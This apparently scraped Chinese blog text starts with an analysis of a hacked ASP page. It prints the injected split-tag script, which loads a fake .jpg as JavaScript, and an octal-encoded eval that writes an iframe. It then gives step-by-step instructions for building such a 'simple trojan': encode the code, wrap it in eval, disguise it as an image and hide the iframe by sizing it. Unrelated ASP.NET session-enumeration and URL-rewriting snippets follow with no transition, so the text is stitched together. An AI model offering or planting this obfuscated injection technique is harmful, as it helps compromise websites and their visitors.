今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:
<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>
这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")
代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)
document.write('<iframe src=https://xoyozo.net></iframe>')
至此,整个流程已非常清晰了。
八进制转化为十进制
var a = '144'; alert(parseInt(a, 8)); // 输出为 100
十进制转化为八进制
var a = 100; alert(a.toString(8)); // 输出为 144
ASCII 码转化为字符
var a = 100; alert(String.fromCharCode(a)); // 输出为 d
字符转化为 ASCII 码
var a = "d"; alert(a.charCodeAt(a)); // 输出为 100
如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:
function HTMLEncode(input) {
var converter = document.createElement("DIV");
converter.innerText = input;
var output = converter.innerHTML;
converter = null;
return output;
}
function HTMLDecode(input) {
var converter = document.createElement("DIV");
converter.innerHTML = input;
var output = converter.innerText;
converter = null;
return output;
}
您可以比较一下区别:
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把
document.write('<iframe src=https://xoyozo.net></iframe>')
编码为
\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51
的代码为
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));
然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。
IEnumerator SessionEnum = Session.Keys.GetEnumerator();
while (SessionEnum.MoveNext())
{
Label1.Text += Session[SessionEnum.Current.ToString()].ToString() + "
";
}
需要 URLRewriter.dll,它可以在微软官方下载到:取出Bin里面的文件
接下来配置 Web.Config 文件:
在 <configSections> 节点下添加:
<section name="RewriterConfig" type="URLRewriter.Config.RewriterConfigSerializerSectionHandler, URLRewriter" />
在 <configuration> 节点下添加:
<RewriterConfig>
<Rules>
<RewriterRule>
<!--测试-->
<LookFor>~/(\d{2})/(\d{2})\.aspx</LookFor>
<SendTo>~/Default.aspx?m=$1&d=$2</SendTo>
</RewriterRule>
</Rules>
</RewriterConfig>
在 <httpHandlers> 节点下添加:
<add verb="*" path="*.aspx" type="URLRewriter.RewriterFactoryHandler, URLRewriter" />
完成以上步骤即可以实现URL重写的。但是它只能实现 ~/11/11.aspx 到 ~/Default.aspx?m=11&d=11 的重写,如果要实现 ~/11/11.html 到 ~/Default.aspx?m=11&d=11 的重写,那么需要通过设置 IIS 来实现 .html 文件的筛选。(适合 IIS5 IIS6,在 IIS7 中不用这么麻烦,具体见本文末尾的链接,scott 的文章)
进入:Internet 信息管理服务 -》网站属性 -》主目录 -》配置 -》映射 -》添加 -》把扩展名 .html 映射到 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll。
然后在 <httpHandlers> 节点中,把 *.html 也交给 URLRewriter 处理就行了。
OK,试试看,访问 ~/11/11.html 确实是 ~/Default.aspx?m=11&d=11 的内容,可是只要 postback 一下,地址栏又显示实际路径了。只要在你的/app_browsers文件夹里添加一个.browser文件,注册使用一个控件适配类即可输出新的action属性。

你可在这里查看一个我创建的样例实现,其展示了该如何实现与URL重写协作的表单控件适配器(Form Control Adapter) 。
参考:http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx
译文:http://blog.joycode.com/scottgu/archive/2007/03/01/94004.aspx
